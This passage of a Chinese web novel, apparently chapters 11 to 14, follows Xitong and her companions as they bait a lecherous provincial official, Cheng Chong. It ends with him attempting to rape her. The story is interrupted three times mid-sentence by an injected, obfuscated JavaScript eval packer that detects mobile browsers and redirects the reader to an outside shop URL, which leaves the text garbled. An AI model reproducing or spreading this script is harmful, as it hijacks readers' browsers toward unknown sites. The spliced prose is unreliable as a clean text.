绿绮心头因为陆忧这句话生出甜蜜。 奚瞳也皱眉看向赵臻:“你没有反对陆公子带着绿绮和若妍上路,这就是理由,是吗?你一早就打算好了?” 赵臻坦然:“是。” 陆忧据理力争:“赵臻,我敬重你不畏世家强权,敢动程冲这份胆识。但绿绮是活生生的人,我不能……” “我既让她做这桩事,便有后手能护她周全。”赵臻打断陆忧。 “你一路上也说了,女子进了中□□,无论如何都得脱层皮,绿绮清清白白一介女子,怎能……” “陆忧。我是通知你,不是在与你商量。”赵臻的语气冷下来:“你自诩君子,想护你身边这伎子的周全,但你可曾想过,程冲不死,蓉州良家妇女,凡有姿色者,终日惴惴,不敢出门。承桑绿绮是人,难道她们不是?莫说我能保承桑绿绮,即便我就是不保,用她一条命,换蓉州女子日后心安,也是极划算的买卖。” 陆忧被赵臻说得语塞,奚瞳则在心里思忖着,还有没有更好的办法。 绿绮却径直跪到了陆忧跟前,双目含情,我见犹怜:“公子,奴婢知您怜惜奴婢,还请公子不必为难,只要能帮到公子,奴婢做什么都愿意。只是……奴婢也有些思虑,公子和太傅大人,可愿一听?” 赵臻和陆忧都望向她,静待她说下去。 绿绮清了清嗓子:“奴婢自幼蜗居陆府妆房,未见过什么世面,怕临阵露怯。加之世间女子颜色类多,谁也拿不准程大人喜欢哪一种,万一他瞧不上奴婢,岂不是前功尽弃?” 赵臻听到这里,眸子已经露了寒光,他冷笑:“那你的意思是?” “奴婢想,不妨由奴婢和奚瞳分别扮作公子的妻妾,奚瞳貌美、临危不乱,且与奴婢容颜类型相去甚远,相信我同她总有一人能够功成。而且万一有个什么意外,我们女子之间总有男子不便插手之事,我同奚瞳也能相互照应。” 承桑绿绮自以为话说得漂亮,殊不知她跟前这几位,要么是在人心算计里长大,要么已经足足活了五百多年,个顶个都是人精,将她的心思看得明明白白。 她愿意为陆忧涉险不假,但若真折在这一局里她又不甘心,所以一心要拉个垫背的。 她从不认为陆府敬酒是奚瞳胆魄有加,而是她鲁莽过头却走了好运,才活下来。这样的人,最适合背锅。 而且,妾室身份低微,是对女子极致的侮辱,即便是假扮,她承桑绿绮也要做公子的妻,奚瞳只能做妾。 承桑绿绮说完,众人安静下来,看她的眼神各有幽深,绿绮心中升起一丝不安。 若妍却是单纯的,她觉得绿绮说得很有道理,但她觉得奚瞳不是最佳人选:“绿绮,我同你一起去吧,我比奚瞳好看,而且说话也比她有分寸,这样咱们成功几率更高。” 此时绿绮表情已经有些僵硬起来,奚瞳忍不住笑笑,若妍这傻丫头,真是乱拳打死老师父。 奚瞳此时开了口:“还是我和绿绮一道吧。” 奚瞳有自己的打算,想彻底铲除程冲,单用“霸占人妻”、“好色无度”的罪名,是不够的。这个狗屁世道,将男子好色视作理所当然。女子出嫁从夫,求官之人将夫人送到程冲手里,女子再不愿意,只要她们丈夫没说什么,便不会有人管这些可怜女子作何想法。 所以赵臻若只抓程冲这一条错处,或许能解决程冲这个人,但想动周家的根基,还是欠些火候。 程冲在蓉州作威作福这些年,得罪的世家绝不止一个苏家。 如果可以拿到程冲通过定品卖官,为自己和周家谋利,不惜损害其他世家利益的直接证据,就可以让京中那些高门大户对周家生出疑虑:你周家一个远房亲戚就敢在蓉州欺压其他氏族,势大至此,谁能保证京中这些贵族能在你周家卧榻酣睡? 利益是撼动人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12688728|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心的利器,怀疑是瓦解权力的支点。这道理亘古不变。 凡作孽者,必留痕迹,且痕迹往往在离恶人最近的地方。 奚瞳若有机会进到程家,说不定可以找到蛛丝马迹。 奚瞳心里这些弯弯绕绕绿绮看不明白,只觉得她应下了自己的提议,便松了一口气。 可接下来奚瞳说:“不过扮作妻妾不太合适,不若扮作主仆吧,我做绿绮的婢女。” 赵臻一道眸光射过来,他觉得她胡闹。 绿绮似乎还想说什么,奚瞳没再给她开口的机会,她指了指自己的脖子:“我虽说是让门夹了,但你们不觉得,这很像是被人掐的吗?” 赵臻眼皮跳了跳。 奚瞳继续道:“你们让程冲看了怎么想,其一,他会思量,对一个弱女子下这么重的手,陆忧这人,是不是有什么性格缺陷,那这种人是不是就不要惹他了。其二,即便他就觉得招惹一个变态无所谓,那夺人所爱的乐趣的关键,是不是夺过来的得是别人喜欢的?我作为妾室被公子掐成这样,那肯定是不受宠的,夺起来岂不是很没有意思?” 奚瞳句句看似假设,其实句句都在骂赵臻。 对弱女子下重手,性格有缺陷,变态……赵臻嘴角抽了抽。 “但是如果我是婢女,绿绮是主人,便就大不相同。”奚瞳露出标准的微笑:“我脖子上的伤,在旁人看来,很有可能就是绿绮惩戒我这个下人造成的。那么在程冲眼里,我便是饱受摧折的柔弱的小白花,而绿绮则是倨傲挺拔的带刺的红蔷薇。你们品一品这种感觉,是不是就很刺激?” 陆忧听完,若有所思盯着奚瞳,她这般尽心竭力,究竟是为他,还是为了赵臻…… 赵臻却没有太多犹疑,他断定奚瞳不是个简单的姑娘。相识这些天,她没有一句话,没有一个举动是废的,她这样做,一定有她的理由。 至于对他有利或不利,总要等她做了才知道。 她想唱戏,他愿意给她搭台子。 “好。就按你说的办。”赵臻道。 “赵臻……”陆忧仍有疑虑。 “成大事者,切忌优柔。”赵臻起身,看向陆忧:“程冲伏法后,这案子会由你主审,陆忧,你好好准备,莫要让我失望。” 陆忧闻言沉默下来,赵臻这句话代表着,他即将走入权力旋涡的中心,他会成为赵臻手中一把指向世家的刀。 赵臻从来没有想过给他历练的时间,他若不够锋利,便会被他弃掉。而最后赵臻若输了,他这把刀就会被世家的兵刃所摧毁。 陆忧冷笑,就这样,注定要成为赵臻的棋子了,真是不甘心啊。 赵臻走向厢房,经过承桑绿绮时,她正想起身。 赵臻开口:“我让你起来了吗?” 承桑绿绮愣了愣,很快,还未伸直的双腿再次弯曲,跪了下去。 赵臻冷笑:“可惜了这样漂亮的皮囊。” 承桑绿绮不知道赵臻为何动怒,她不敢反抗,只含泪跪着。 待所有人都走了,只剩下她同陆忧。 承桑绿绮才委屈开口:“公子……奴婢不明白……” 陆忧叹一口气,将她扶了起来:“绿绮,我怜惜你,是因为你才华横溢,温婉善良。可今日我似乎觉得,有些不认识你了。” “公子……奴婢……” “事已至此,好好护着奚瞳,毕竟她是因你才蹚这趟浑水。” 承桑绿绮眼角落下两行泪。 奚瞳……奚瞳……她有什么好,为什么……为什么…… 12.第 12 章 入夜之后,奚瞳从客栈出来闲逛。 虽只是在锦城城郊,但此处的繁华程度已远非虹州可比。 虹州荒地多,风沙猛,唯有胡杨这种倔强的树才能生长,花草却不多见。蓉州与虹州相邻,但地势截然不同,多山地,有江河,此时春盛,鲜花遍野。尤其牡丹,开得那样恣意、丰腴,似乎从未被天公薄待过。 自打进了蓉州地界,奚瞳便觉得有些伤怀,这里和长秦王都……真的很像。 长秦王都也是牡丹之城,每年春天都有文人墨客汇聚,岁岁好诗文。 奚瞳坐在城郊一条小河边,旁边是一簇粉白色的牡丹,她抬手摸一摸花瓣,嫩的像是婴儿的皮肤。奚瞳凝神一瞥,发现花瓣上有嫣红的一小片颜色,是这朵牡丹与生俱来的胎记,像……像血…… 奚瞳心头猝然一痛,她想起她第一次杖责赵臻的时候。 奚瞳虽是金枝玉叶,但并不耽于享乐。父王懒政,太子无能,奚瞳管不了他们,便只在自己身上下苦工。她从很小开始,就努力非常,诗书、礼乐、骑射、琴棋,她没有一项懈怠,一心只希望自己可以成为王朝的荣耀与象征,在对父兄失望至极时,她甚至动过成为女帝的心思。 十数年如一日的苦学,锻造了她一身才华,可同样的,也镌刻了她少女时代的寂寞。 她有一个门客,名叫云序,是位极善抚琴的公子,他教授了奚瞳琴艺,同时,他也是她最好的朋友,是她在深宫之中唯一可以倾诉烦恼的人。 后来某日,云序与赵臻狭路相逢。云序出身世家,不喜阉人,言语有所冲撞,赵臻勃然大怒,当众废了他一双手,云序自此再不能弹琴。 奚瞳得知后,于大朝晖殿当着满朝文武的面杖责赵臻,鲜血从他的脊背渗出,顺着衣衫流到地上。 他从朝晖殿蹒跚走回住所,血迹拖曳一路,染红了宫/道两旁的牡丹。 她至今都不知道云序究竟是如何冲撞的赵臻,她同云序一样,鄙视赵臻残缺的身体,厌恶他对权力毫不掩饰的渴求,痛恨他得势之后的咄咄逼人,也忌惮他这份跋扈背后货真价实的才能。 她想当然地以为,赵臻的灵魂会因为身体被阉割,而生出病态和狰狞,她从来都不相信,一个阉人或许也可以成为君子。 奚瞳兀自捧着花瓣发呆,身旁突然聚了几个在小河里放花灯的孩童。 “姐姐。”一个小姑娘开口:“你不开心吗?” 奚瞳蓦然回神,摇头笑了笑:“开心。” “我们在放花灯。”小姑娘接着说:“这条河许愿很灵的,我可以分姐姐一个愿望哦,姐姐不要再难过了。” “真的?”奚瞳被小姑娘感动,顺着她的话与她攀谈起来。 “当然!包灵验的!”小姑娘打包票:“河灯就要漂远了,姐姐快许愿!” 奚瞳无奈笑笑,禁不住小姑娘热情相邀,便双手交叠,捧在胸前,闭上眼睛,呢喃说道:“希望他此生平安、康健,所得皆所愿。” 奚瞳再睁开眼,牡丹花形的河灯果然已经随波而行,渐渐地,凝成一个小小的光点。 “姐姐,你许愿的人是谁啊?”小姑娘好奇:“是你的情郎吗?” 奚瞳目光悠远:“不,不是情郎,他是我的仇人。” 话音刚落,奚瞳听到背后一声冷哼,她回头,才发现赵臻站在了她身后。 奚瞳敛了笑意:“你鬼啊,走路不出声的?!” 孩子们一听“鬼”字,心中便有些惴惴,他们年纪小,还不太具备欣赏冰山美人的能力,只觉得眼前这位大哥哥表情凶狠,在夜色里尤为酷烈,不由更加害怕,于是不再逗留,结伴跑回了家。 赵臻则在奚瞳旁边坐下来。 “仇人?”赵臻语气带了讥讽:“是送你铃兰发簪的那位仇人吗?” 奚瞳抿了抿嘴:“嗯。” “你对你仇人挺好啊。”赵臻没好气。 “他对我也不错。”奚瞳坦然道,可说完这一句,再也无话。 夜色越来越深,月亮和星辰却越来越亮,锦城是不夜城,城中的灯光越过城墙,携着星月一起洒向河流,波光粼粼,水声幽幽。 微风吹来,两人的衣袂和花影一同摇曳,这是独属于春的美与惬意。 半晌,赵臻望着高悬的弦月道:“奚瞳,不要因儿女情长误了我的大事。凡是挡我前路之人,我必杀之,你……不会是例外。” 奚瞳笑笑,他还是老样子,把杀人挂在嘴边。 “知道了。”奚瞳伸个懒腰,然后起身:“天不早了,走了。” 赵臻看她身姿矫健,很好,没有要等他的意思。 赵臻恼意刚起,奚瞳就停下了,他回头看向赵臻,认真说道:“若你真的要杀我,便在春天杀我吧。” 赵臻蹙眉。 “用我的血,浇灌牡丹。”奚瞳说着这样血腥的话,神情却十分轻松:“听闻由生灵骨血滋养的花木,生长得会格外繁盛。我喜欢牡丹。” “奚瞳!”赵臻不明白为什么,他此刻怒意骤起,胜过她所有冒犯他的时刻:“你就这么不怕死?!” 奚瞳笑起来,眼睛弯弯,像是天空的月亮:“我都说了多少次了,我是仙女,死后会去仙界。” 说完她便又转身走了,徒留赵臻站在原地,被怒火灼烧着。 他讨厌此刻的感觉,情绪不受自己控制,完全被一个下贱卑微的伎子牵着走。 他盯着她纤细飘逸的背影,双眼眯起来,所以,她这样一个祸害,应该杀了她的…… 想着想着,他的手不自觉已经伸向了腰间的佩剑。 利剑缓缓出鞘,发出细微的摩擦的声音。 而此时,奚瞳却回了头:“你不回去吗?还要再待一会儿?” 赵臻怔愣片刻,他的手颓然松开,此时他才发现,这样凉爽的春夜里,他的掌心竟然生了汗。 …… 两人回到客栈,赵臻从袖中拿出两样东西,扔到奚瞳怀里。 奚瞳慌乱接住,定睛一看,发现是一柄匕首和一个白瓷瓶:“这是……” “迷药。”赵臻答:“明日你独自去中/□□,见程冲那厮,若他真看中了你,我的人又到的不及时,你可自保。” 奚瞳惯性地点头,继而又想,不对啊,怎么是“独自”呢,明明还有陆忧和绿绮,可她没有纠缠他话语里的疏漏,只道:“你今日来找我,就是为了给我这个?” 赵臻低了眉目,不置可否:“我说了,你生是我的人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12705977|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死是我的鬼。” 奚瞳却好似并不在乎这个答案,在赵臻说话的同时,拿下瓷瓶的红封,放到鼻尖处:“这药是内服还是外用啊……” 赵臻眼疾手快一把将瓷瓶夺过来:“你脑子有病啊,什么都闻?!” 然则为时已晚,奚瞳闻到一阵异香后,便觉头脑昏沉,眼皮有些打架,灵识还在的最后一刻,她对赵臻竖了竖大拇指:“好药……” 紧接着,她便意识丧失,彻底昏了过去。 赵臻伸手揽住她的腰,让她倒在了自己的怀里,继而将她打横抱起来,但他没有将她送回厢房,而是回到了自己的房中。 她同那三个住在一起,他可不想让他们觉得自己对这下贱伎子有什么非分之想。 奚瞳躺在赵臻榻上,昏睡如死。 赵臻坐到床沿,烛光之下,她颈子上的淤紫分外艳丽。 他的手抬起来,靠近他带给她的这处伤痕,就在距离她的肌肤仅剩半寸时,他有些迟疑地将手收了回来。 赵臻起身,吹熄蜡烛,合衣躺在了地上。 一夜辗转。 …… 次日晨起,当奚瞳跟赵臻一道来到前厅时,众人还是有些意外。 承桑绿绮脸上七分担忧,三分埋怨:“奚瞳,你昨夜去伺候太傅大人,怎得不提前跟我们说一声,叫我们好生担心。” “是啊。”若妍附和,十分真心:“我们还以为你出什么事了。” 陆忧则低着头,神色晦暗不明。 奚瞳尴尬笑笑:“抱歉,昨天情况不是很允许。” 林载听了这句话,若有所思,啥情况啊,能不允许她知会同房的人,于是他便凑近赵臻,附耳说道:“你强迫她了?” 赵臻的脸瞬间黑下来:“林若归,我不介意我的心腹是个哑巴。” 林载赶紧闭了嘴,因他知道,赵臻这厮是真的做得出来。 简单准备一番,几人就分头行动。 奚瞳将迷药分给绿绮半瓶,跟陆忧同乘,前往程家,赵臻则率领其他人,大摇大摆去了太守府。 赵臻一早就为陆忧造好了假身份。苏木外祖的亲家张家也是世家,就住在蓉州的另一个邻州柑州。柑州是百年前大盈从辰国夺来的城池,百姓多异族,官员设定也同大盈其他州府不太一样。异族容易生异心,所以多武将震慑,而少文臣治理。 张家的人若想谋求仕途,跨越州府来到蓉州,也是合情合理。 赵臻让陆忧假扮的身份,就是张家这一代的嫡次子张旷。名牒信物,一应俱全。 到了程家,三人下车,陆忧叩响门环,小厮出门来迎,陆忧堆了一个笑脸,自报家门。 奚瞳从侧面看去,不得不叹服陆忧的演技,从没见咱们陆二公子这么笑过。而且他此刻的表情说明一个道理,再怎么清俊温润的男子,若是油腻了,那都是不堪入目的。 小厮却只扫了陆忧一眼,剩下的时间,一双眼睛就恨不得长在绿绮身上,奚瞳此刻正搀着绿绮,能感觉到她不自主地颤了颤。 奚瞳叹息,能不颤吗,大白天活人眼里冒绿光,多吓人啊…… 小厮听完陆忧说话,便进府禀告,不出半盏茶他便回来了,伸手做了一个“请”的姿势。 13.第 13 章 小厮在前头引路,奚瞳跟在陆忧和承桑绿绮的身后,走向程冲见客的正厅。 程府的院落十分雅致,叠石假山,亭台水榭,满院鲜花,风来飘香,一派好景色。 只是天公有些不作美,此时倏尔刮过一阵大风,方才还艳阳高照,这会儿厚厚的云层便遮蔽了太阳,整个苍穹都白涔涔的。 奚瞳抬头望天,云和云连成了片,偶尔露出的缝隙底色也不再是碧蓝,而是淡淡的青灰色。蓉州的天气真是莫测啊,就这一会儿,眼看着就要落雨了。 大门距正厅有些远,他们拐了好几个弯,穿梭好几个拱门,路过一座高阁时,奚瞳看见一方石雕,雕的是一把伞。 奚瞳心中有些不解,石雕倒是没什么,这是富贵人家常有的装饰物件,只不过往往会雕一些祥瑞神兽,雕伞还是头一回见。 接下来便是一路往南走,距离正厅还有几丈远的时候,奚瞳远远看到另一进院子里有一根耸立着的石柱,石柱下头是一方须弥座。 她心中疑惑更甚,陆忧显然也意识到了不寻常,于是开口问小厮:“小哥,那石柱看着颇为别致,在院子里做装饰可有什么说头?” 小厮似乎听惯了这个问题,没有丝毫犹疑,张口答道:“家中夫人自三年前染了风寒,烧坏了脑子,身子一直不好。老爷求了云游的僧人前来布施,造了这一方经文柱,替夫人祈福,也保家中平安。” 陆忧点了点头,奚瞳心中的疑问也解开一些。 程冲这样的色胚,经文柱是不是用来为老婆祈福很难说,但做多了恶事之人,心虚日盛,寄情于宗教,倒是常见。 奚瞳脑海里又闪过方才进门时看到的石雕伞,内心浮上一层微妙之感,可又说不上是什么。 几人终于来到正厅,一身宝蓝色长袍用金线绣着鹤纹的程冲已经等在那里。 奚瞳瞧着他,不由感慨,真是很符合大家对于好色之人的刻板印象:膀大腰圆、满面油光,鼻子和下巴还有两颗已经冒了白头的大痘,身上有浓郁得近乎令人作呕的沉香味。 奚瞳本身就不以容貌见长,做了仙女之后对世间长相小众的生灵更是多了许多宽容。 但程冲实在是触及奚瞳的审美底线了,他给人的感觉就是闻起来很臭。一个人,可以丑,但必须得干净。 奚瞳突然间就觉得,这次任务她牺牲得有些太多了,赵臻得补偿她。 陆忧装模作样地说着实现预演了许多遍的词儿,程冲一边听着,眼睛时不时往绿绮和奚瞳身上瞟,当中意图,不言而喻。 只不过有些出乎意料的是,程冲看向奚瞳的时候更多,那眼神带着嗜血的兴奋和贪婪。 承桑绿绮显然注意到这一点,她心中难免发沉。 绿绮向来以自己的美貌与才学为傲,陆家既往那些宾客,凡是见过她的,无不为她倾倒,甚至有几位公子向陆忧讨要过她,可均被陆忧拒绝。 这些拒绝被绿绮视作陆忧对她有意的证据。 可自从奚瞳来了,这个其貌不扬的小丫头以乖张的性情和不驯的姿态夺走了所有人的关注。 绿绮不明白自己输在哪里。 如果说赵臻和陆忧对奚瞳的偏袒,让承桑绿绮觉得不忿,那此时程冲的态度,简直就让她觉得耻辱。 程冲这样一个好色之徒,居然也越过她去注意奚瞳,真是瞎了他的狗眼。 奚瞳对程冲的眼神和绿绮的怨愤浑然不知,径自打量着程府这间正厅的形貌。 紫檀木制的茶几和座椅,主座后头,是一张巨大屏风。屏风的木框也是紫檀木的,上头雕着镂空的花。屏心是一幅精致无比的刺绣,绣的是红莲花海中,观音手执玉净瓶,泽被众生。 刺绣留白半透,屏风后头隐约还竖立着另一方石雕,奚瞳凝神望过去,这石雕的外形像是……像是一方宝剑。 石雕伞,经文柱,观音像,宝剑塑…… 奚瞳心头的微妙的不安逐渐变得浓厚,她总觉得,程家的这些东西,有些不为人知的章法,究竟有什么奥义…… 陆忧扮作的“张旷”几番迂回之下,说明了求官的来意。 程冲收起待客的客气,身子向椅背微微仰去:“贤弟,不瞒你说,我虽是这蓉州的大中正,但这定品之事,也不是我一个人说了算,到底还是要看太守大人的意思。加之新年伊始,近来蓉州春和景明,四邻州府的贤才来得也多,可朝廷的官职统共就那么些个,我呀,很难办啊……” 陆忧满脸焦急之色:“大人的苦衷,在下自是理解,但您也知道,小弟年近而立,家中又有老母需要奉养,实在已无多少岁月可以蹉跎。还望大人给在下一个机会,大人若有什么需要的,钱财抑或什么,只要在下有,便一定全数献给大人。” 程冲没有着急回应,他看了陆忧一眼,又看了他身后的绿绮和奚瞳。 他心中对陆忧生出无限鄙夷,大盈这些自诩君子的世家公子,其实照他程冲差远了。一个个装得品性高洁,其实为了功名利禄,卖妻鬻女在所不惜。他程冲至少还有靠山,有权力,而这些来投靠他的世家公子,只有虚伪。 程冲的嘴角挂上邪笑,他抚弄着手上的玉扳指:“贤弟啊,明人不说暗话,你也不必再装了。今日你带着弟妹过来,想必也知道我这里的规矩。” “张旷”的表情变得复杂,挣扎之中透着窝囊,最终双眼泛红地点了点头,与之相对的,是绿绮面上的惶惑不解。 这是临行前赵臻教他们的。 太易得的东西,总难让人珍惜,只有“张旷”在妻子和官位之间挣扎了,才能引得程冲更加贪婪,而妻子的不知情,也会能让程冲尝到更多夺人所爱的乐趣。 果不其然,程冲昂首,哈哈大笑起来,笑够之后,他一双牛眼看向门外,天色又比刚才更暗了:“要下大雨了,恐怕会下个好几天。蓉州的天气就是这样,要么晴得透透的,要么阴雨连绵数日。行了,贤弟快回吧,免得淋雨受凉,至于弟妹嘛……留下。三日之后,我给你答复。” 陆忧低着头,咬肌紧了紧,嘴上还是谄媚的语气:“那……拜托大人了。” 陆忧说罢,转身要走,他看了绿绮一眼,冲绿绮点了点头,有安抚之意。他不喜欢赵臻,但他信得过赵臻,赵臻说能保绿绮,就一定能。 陆忧与绿绮擦肩而过,他下意识地拉了拉奚瞳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12729863|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的衣袖,要带她走,却听身后的程冲道:“贤弟,我说的是,两个都留下。” 陆忧生出些微急色,不是装的:“大人,她只是我夫人的一个丫头。” 绿绮头一回对陆忧生出怒气,他舍不得让奚瞳冒险,却将她丢在这生死未卜的程家。 于是半是演戏半是真心的跪到在陆忧跟前,痛哭道:“夫君,你不能丢下我啊,我对你一片真心,你怎能将我一个人丢在这里,夫君,求你带我走。” 陆忧没想到绿绮会来这么一出,一时失措,程冲却笑意更深,这样的场面他见过太多次了,这些个女人在走进他的床帏之前,各个高喊着忠贞和深情。 可她们一旦知道自己面临的最终命运是什么,便什么下贱事情都愿意做了,哪怕一生一世在床上伺候他都在所不惜,各种花样都能接受,那模样,比这世上最下贱的妓女都要淫/荡。 程冲的脑海里猛然浮现一道影子。二十年了,只有一个例外,那个苏家公子的夫人,李氏。 那是他见过最为刚烈的女子,也是他一生中为数不多动过的真心,他明明已经放过她了,可她偏偏想不开,要去投河。 不过这样也好,他是她生命中最后一个、也是最难忘的男人,她的生前或许要他同那个苏木平分,但她的鬼魂,是他程冲的。这又何尝不是一种比翼双飞呢? 绿绮还在哭,程冲云淡风轻,对着陆忧说道:“我说了贤弟,两个,都留下。” 陆忧还在挣扎,奚瞳心道不好,他怎么回事,不是之前都说好了吗,她可以和绿绮一起。这样纠结下去,程冲怕是会心生疑虑。 奚瞳想到这里,大力甩开陆忧的手,含泪吼道:“公子不必这样假惺惺!平日里夫人打我骂我,也不见您为我伸张正义。我愿意留在程大人身边,同夫人各凭本事,做妾室、做丫鬟都好过死在你们张家!” “你……!”陆忧露出痛惜之色。 奚瞳背对着程冲,给陆忧施了个眼色,陆忧无奈,只好拂袖走了。 送走了后半段演技差点崩塌的陆忧,奚瞳松了一口气。 可紧接着,她便感受到身后有一道目光紧紧盯着她,她不寒而栗。 她稳了稳气息,转身跑到程冲跟前,跪了下来,梨花带雨:“大人,求您收留奴婢。” 程冲伸手挑起她的下巴,眼睛盯着的却是她脖子的紫痕:“心肝儿,脖子是被人掐的吗?疼不疼?” 奚瞳忍着恶心:“疼。” “到了哥哥这儿,就没事儿了。”程冲像是哄一个宠物一般:“今晚,哥哥好好疼你。你们呀,先去厢房休息,晚饭过后,哥哥会让你们知道,什么叫□□。” 程冲说完这句,便大笑着离开。 不一会儿,便来了两个小厮,将奚瞳和绿绮带到了偏院的厢房。 走出正厅时,天色已经彻底黑下来,想必不久之后,便会迎来一场滂沱大雨。 奚瞳走进厢房所在的院落,发现花丛里又有一座石雕,雕的是一柄琵琶。 伞、剑、琵琶…… 奚瞳脑海猝然一道灵光闪过,她知道是什么了,她知道程家这些石雕是什么意思了! 14.第 14 章 奚瞳和绿绮到了厢房不久,便有下人送了新的衣衫过来,还为她们准备好了洗澡水,让她们沐浴。 奚瞳简单清洗过,更衣时才发现,这衣服实在有些随意。没有围裳束腰,一袭大袖长衫就那么披着,里头的小衣和合裆清晰可见。一看便知是为了增加床帏间的情趣,降低脱衣服的难度。 奚瞳忍不住在心里头咒骂,权力真是让人懒惰,就连跟别人睡觉都不想多费一点手脚。 心里头骂街归骂街,这衣服风情归风情,但到底不算暴露,大事当先,奚瞳能忍。 厢房的茶几上放着葡萄,奚瞳坐下,优哉游哉吃起葡萄来。 不一会儿绿绮也回来了,她踏进房门的下一刻,天空传来一声惊雷,继而瓢泼大雨落下来,漫长的雨夜开始了。 不同于奚瞳的从容淡然,绿绮有些焦躁,在厢房里来回踱步:“太傅大人说会救我们,你说他真的会来吗?这么大的雨,万一他不管我们了怎么办?” 奚瞳看了她一眼,在衣服上蹭了蹭自己沾了葡萄汁液的手:“来不来有那么重要吗?他不来,我们也要自救啊。” “怎么自救?!”绿绮双眼因为焦急与恐惧含了泪:“我们两个弱质女流,程冲那副样子,你又不是没看到?!他财大势大,真要用强,我们如何反抗?!” 奚瞳叹息:“你我是两个人,而且带了迷药,他是一个人,你我合力,未必不是他的对手。再说了,就算他得手了,只要我们活着,就有机会筹谋,你何必现在就将自己置于绝望无助的境地里。” “你懂什么?”绿绮咬着下唇:“我的身子,只能是公子的。” 奚瞳很想翻一个白眼,心想你那公子但凡在乎你的名节,就不会同意赵臻的提议,以你为饵。 比起陆忧这种自视清高的世家公子,奚瞳还是更欣赏赵臻,狗是狗了点,但胜在一个磊落坦荡。 两人闲话之时,门外传来脚步声。 程冲撑着伞,如期而至。因为肥胖,油纸伞没能让他完全隔绝雨幕,他长衫的下摆被雨水打湿,散发出潮湿的气味。 “大人。”两人都收起了情绪,起身问好。 绿绮眼眶还红着,程冲看到了,讥讽一笑。奚瞳暗暗点头,绿绮的这点泪痕,反倒让这出戏更可信起来。 奚瞳还在看着绿绮,没有注意到程冲一双眼睛正如饥似渴地看着她,甚至还狠狠吞了一下口水。 奚瞳看向程冲的时候,程冲的眼神已经有所收敛,只透露出色/气。 “来,心肝儿,坐到哥哥的腿上。” 程冲这话是对奚瞳说的。 奚瞳没想到程冲对自己的兴趣在绿绮之上。 她不禁沉吟,程冲长得小众也就算了,取向也很小众,一个好色之徒,放着承桑绿绮这样的大美女在一边,跑到她这里来寻求刺激,这是什么眼神儿…… 奚瞳缓缓往程冲那边走,一边走一边告诫自己:奚瞳,你已经活了五百多年了,见过很多世面,天庭里的那老些个坐骑,哪个不比程冲难看,对不对?待会儿你可要有大局观,可千万不能吐出来啊…… 几米的路,奚瞳如履薄冰,好不容易走到了程冲跟前,程冲拍拍他那衣衫之下勾勒出肥硕轮廓的大腿,奚瞳一咬牙,坐了上去,再一狠心,伸手环住了程冲的脖子。 “大人……”奚瞳用尽毕生心力在夹了。 程冲也很受用:“乖,心肝儿。你今年多大了呀?” 奚瞳的胃里翻江倒海。 那不是错觉,程冲身上真的很臭。 那是一种她从未闻到过的腥臭味,还夹着一缕汗液发酵的酸,或许是为了遮掩这种味道,程冲身上熏了极重的沉香,体臭加上熏香,辅以雨水的潮气,奚瞳真的快要撑不住了。 “十九……” 奚瞳艰难回答,与此同时,环着程冲脖子的手也开始动作,她的袖子里藏着迷药。 程冲眼神迷离,似是遐想着什么:“十九岁好,年轻,娇嫩。女子过了二十五岁,就老了。吃起来味道就不好了。” 奚瞳皱眉,真是个死变态,也不照照镜子看看自己是什么模样。 “来,心肝儿,先让哥哥香一香。” 说罢,程冲就伸出舌头舔了奚瞳脖子上的淤紫一口。 口水的湿腻让奚瞳起了一层鸡皮疙瘩,她受不了了,弹跳着挣脱了程冲的怀抱,并且打开了迷药的红封。 然而奚瞳在应激状态下动作太大太凶猛,迷药瓶子直接撞到了程冲的鼻子上,剧痛让程冲暴怒起来。 “小贱人你要干什么?!” 程冲一把将奚瞳推到在地,肥硕的身躯压到奚瞳的身上,双手按住了奚瞳的腕子。 在此过程中,奚瞳另一只袖子中的匕首掉了出来,只手上那瓶开了封的迷药还在。 程冲看到匕首:“贱人!居然私藏凶器!” 他一脚将匕首踢到了床底,满是油光的大脸狠狠贴在奚瞳的脖子上,发疯似地亲吻舔舐起来。 奚瞳害怕了。 五百多年来,她第一次这么害怕。她第一次知道,原来有比死亡更让人恐惧之事。 她双腿拼命地蹬着,可除却摩擦地面给脚跟带来的疼痛与灼热,没有起到任何作用。她的双手被程冲按着,动不了分毫。 程冲一边亲吻奚瞳的颈子,一边将她的两只腕子并在她的头顶,用一只大手钳制着,他腾出来的手解开了自己的衣带,继而伸向了奚瞳的小衣。 奚瞳的心中涌上绝望,她近乎于哀求地嘶吼着:“绿绮!快来帮忙!” 承桑绿绮微微颤抖着站在一边,惊惶着看着眼前的一切。 